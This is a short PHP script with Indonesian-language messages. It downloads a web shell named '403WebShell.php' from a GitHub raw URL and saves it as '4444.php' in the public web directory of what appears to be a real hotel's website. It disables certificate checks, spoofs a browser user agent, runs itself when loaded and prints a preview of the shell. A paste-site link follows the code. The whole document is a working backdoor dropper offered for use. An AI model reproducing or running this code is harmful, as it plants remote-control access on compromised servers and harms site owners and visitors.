<?php
function downloadMizibato() {
    $url = "https://raw.githubusercontent.com/yon3zu/403WebShell/refs/heads/main/403WebShell.php";
    $filename = "4444.php";
    $savePath = "/home/y2vipur3ncsg/public_html/hotelparkocean.com/" . $filename;

    echo "Memulai download dari: " . $url . "<br>";
    echo "Menyimpan sebagai: " . $savePath . "<br><br>";

    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36',
        CURLOPT_TIMEOUT => 30,
        CURLOPT_SSL_VERIFYPEER => false
    ]);

    $fileContent = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);

    if (curl_errno($ch)) {
        echo "Error cURL: " . curl_error($ch) . "<br>";
        curl_close($ch);
        return false;
    }

    curl_close($ch);

    if ($httpCode !== 200) {
        echo "HTTP Error: " . $httpCode . "<br>";
        return false;
    }

    if (file_put_contents($savePath, $fileContent)) {
        $fileSize = filesize($savePath);
        echo "Download Success!<br>";
        echo "File: " . $savePath . "<br>";
        echo "Size: " . formatBytes($fileSize) . "<br>";
        echo "Source: " . $url . "<br>";

        echo "<br>📝 Preview konten (100 karakter pertama):<br>";
        echo htmlspecialchars(substr($fileContent, 0, 100)) . "...<br>";

        return true;
    } else {
        echo "❌ Gagal menyimpan file! (Permissions?)<br>";
        return false;
    }
}

function formatBytes($bytes, $precision = 2) {
    $units = ['B', 'KB', 'MB', 'GB', 'TB'];
    $bytes = max($bytes, 0);
    $pow = floor(($bytes ? log($bytes) : 0) / log(1024));
    $pow = min($pow, count($units) - 1);
    $bytes /= pow(1024, $pow);

    return round($bytes, $precision) . ' ' . $units[$pow];
}

downloadMizibato();
?>

https://paste.nnelsinger.org/raw/_Tcut95oUt